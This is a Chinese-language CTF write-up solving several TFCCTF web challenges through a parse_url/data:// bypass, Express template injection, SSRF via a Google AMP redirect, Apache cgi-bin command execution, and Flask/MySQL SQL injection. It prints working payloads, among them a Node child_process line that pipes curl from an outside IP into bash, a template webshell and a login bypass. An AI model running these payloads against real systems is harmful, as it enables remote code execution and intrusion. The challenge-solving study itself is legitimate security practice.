老外的比赛,涨姿势了
safe_content
Our site has been breached. Since then we restricted the ips we can get files from. This should reduce our attack surface since no external input gets into our app. Is it safe ?
For the source code, go to /src.php
傻逼edge,上次das坑我一次了,这次又来。
src.php如下,一个简单的判断
1 | function isAllowedIP($url, $allowedHost) { |
仔细看就知道逻辑是通过fetchContent
来获取到指定url的内容,并且将得到的content
放入command
里执行。
参考ctfshow周末大挑战 - parseurl | Err0r233,我之前写过的parse_url
可以得到host其实是这部分:
1 |
|
第一时间想的是通过这个方式绕过然后打一个反弹shell,将testshell
部署在vps上,通过这个ssrf来获取到反弹shell的内容,然后再执行反弹shell。
但是很快就有个问题,那就是报错访问不到,难绷的。
自己试着访问了一下发现会指向localhost/testshell
,又因为本地根本没有这玩意,所以就报错了。
这时候有点卡了,就去搜了一下parse_url bypass file_get_contents
发现这篇文章:
PHP SSRF Techniques. How to bypass filter_var()… | by theMiddle | Medium
发现php中的data伪协议可以联动parse_url
一起使用。
1 | print_r(parse_url('data://text/plain;base64,SSBsb3ZlIFBIUAo=google.com')); |
注意看这里的host
就是text
。这里php伪协议有个特性就是PHP doesn’t care about mime-type…,也就是说我们把text
随便换成任意一个东西都可以得到和text
一样的结果
那就简单了,但是本题里返回的是b64解密的结果,所以我们要进行二次b64加密就可以了。
本题经测试不出网,无法反弹shell,但是当前目录下有写权限,可以将结果写入到文件里查看
payload:
1 | `cat /flag.txt`>test.txt |
1 | $url = 'data://localhost/plain;base64,WUdOaGRDQXZabXhoWnk1MGVIUmdQblJsYzNRdWRIaDA='; |
不要在他的访问框里提交,直接在url里提交即可,不要让他url编码了。执行后访问/test.txt
即可:
greetings
Welcome to our ctf! Hope you enjoy it! Have fun
express框架。输入1就返回hello 1,感觉和flask很像。
express模板注入:
1 | #{7*7} |
exp:
1 | #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl ip:port/xxx | bash')}()} |
1 | #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 106.52.94.23:6001/bash | bash')}()} |
app.js
1 | const express = require('express'); |
flag:
1 | TFCCTF{a6afc419a8d18207ca9435a38cb64f42fef108ad2b24c55321be197b767f0409} |
surfing
随便输什么东西都是这样:
只有google开头才能够有响应。页面f12有提示
1 | <!-- Reminder ! Change creds for admin panel on localhost:8000 ! --> |
题目目的要让我们访问本地8000端口,但是url必须得用google开头。这里有点阻碍
如果能让我们从google跳转到localhost:8000
就好了
找到一个很相似的题
https://vicevirus.github.io/posts/report-google-wgmy-2023/
payload:
1 | https://google.com/amp/localhost:8000/ |
会报错,因为后面带了.png参数
用锚点注释掉:
1 | https://google.com/amp/localhost:8000# |
1 | https://google.com/amp/localhost:8000/admin.php?username=admin&password=admin# |
这里如果将问号这些url编码一下就能过,也可以起一个间接跳转:
1 | https://google.com/amp/106.52.94.23:6001/ttt# |
绷,google不允许ip跳转
用ngork内网穿透出来即可。ngork自己上官网下载安装到vps上,然后启动隧道就行了,开哪个端口就写哪个
1 | ngrok http --domain=key-right-ape.ngrok-free.app 6001 |
1 | TFCCTF{18fd102247cb73e9f9acaa42801ad03cf622ca1c3689e4969affcb128769d0bc} |
funny
This challenge is HILARIOUS!
附件下下来,index.php没有什么可以关注的。附件还给了httpd.conf
,可能在暗示我们往apache的洞走,搜一下apache的洞先。
查了下,ddos肯定不可能,解析洞是上传的问题,服务组件提权也不可能,剩下就剩路径穿越了,试试/cgi-bin/
。爆403
400:
1 | /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd |
怎么回事呢
看这个httpd.conf
发现了一行比较好玩的东西:
1 | ScriptAlias /cgi-bin /usr/bin |
不懂这是什么,但是可以找ai问一下:
简单地说就是将/usr/bin
下的东西映射到了/cgi-bin
底下,此时我们可以通过/cgi-bin
来调用/usr/bin
下的东西,众所周知/usr/bin
是放命令的地方,相当于可以rce:
当querystring中不包含没有解码的
=
号的情况下,要将querystring作为cgi的参数传入。
payload:
1 | http://challs.tfcctf.com:31858/cgi-bin/pr?/flag.txt |
pr
命令是一个 Unix 和 Linux 系统中的命令,用于将文本文件格式化为页码化的输出,通常用于打印。pr 命令可以对文本进行分页、添加页眉、页脚、调整列数等,以便于打印或查看。这里用pr的原因是pr的输出有换行。其他能执行但是不能输出。在响应包的时候,没有换行的话是不能够显示在body里的,而是显示在header里,数据又不符合http头格式,此时就会报错
sagigram(未完成)
Worst model of them all
进去就是一个登录页,其他啥都没有
看到了csrf的token
1 | http://challs.tfcctf.com:31185/register |
发现/register
能访问,是它的注册页。尝试注册一个账号
登录成功后发现了能够添加admin好友,但是什么用都没有
奇怪的东西出现了,我传一张图片之后它就变成了这样。感觉上它能够提取出图片的文字嵌入到页面当中?
不懂
flask-destroyer
从附件可以得到是flask+mysql的结合。读dockerfile可知flag放在了这个地方
1 | Add flag |
给了mysql配置:
这里说明我们可以直接写shell
但是又因为是flask的,我们不知道该写啥,那就先往下看
sql注入双引号闭合
登录路由调用了这个函数:
1 | admin" |
发现报错
尝试写内容,问题是写什么,然后写到哪个路径里
1 |
|
发现这里可以渲染模板,逻辑是这样的,registered_templates
是服务初始化时记录下templates
目录下的模板,然后进行下面的检查:
1 | 1. 访问的页面是否在registered_templates里 |
如果两个条件都通过就会渲染app/templates
下的目录。当然,前提是登录成功。
问题来到registered_templates
,他是服务启动时对templates
目录下的文件进行了读取,然后保存到这个变量里。我们要怎么做才能够让registered_templates
增加新的内容呢?只需要让服务重新启动一遍就行了,也就是说我们要让服务崩溃再重启一次即可。
知道会渲染模板这下就简单了,要写进去的东西就是一个简单的ssti,但是要写到/app/templates
下,注意在dockerfile
里还有一个/destroyer
上级目录。但是难点在于怎么让服务崩溃重启
发现/app/templates
尝试写到这里,检查出字段数为3:
1 | aa" union select 1,2,3# |
payload:
1 | aa" union select '','{{url_for.__globals__.os.popen(request.args.get("cmd")).read()}}','' into dumpfile '/destroyer/app/templates/acd.html'# |
用\x80
让flask崩溃,没懂原理,这个还是从其他地方学来的。
1 | aa" union select 1, '', x'80'# |
此时服务会崩溃,然后重启之后就会将我们的模板加载进去了。
由于存在sql注入,这里admin的账号密码很容易用万能密码登录
1 | admin |
接下来访问
1 | http://challs.tfcctf.com:32163/acd.html?cmd=whoami |
然后去tmp找flag
1 | http://challs.tfcctf.com:32163/acd.html?cmd=cat%20/tmp/f2aa5cf8bed1f3ffb4fb088bbdb93cdc/bc00179790eae6bc51200efb033d418e/ee28a1915c821400641085562eae2388/flag.txt |
1 | TFCCTF{Cr4Sh_g0_bRbRbRbRbR} |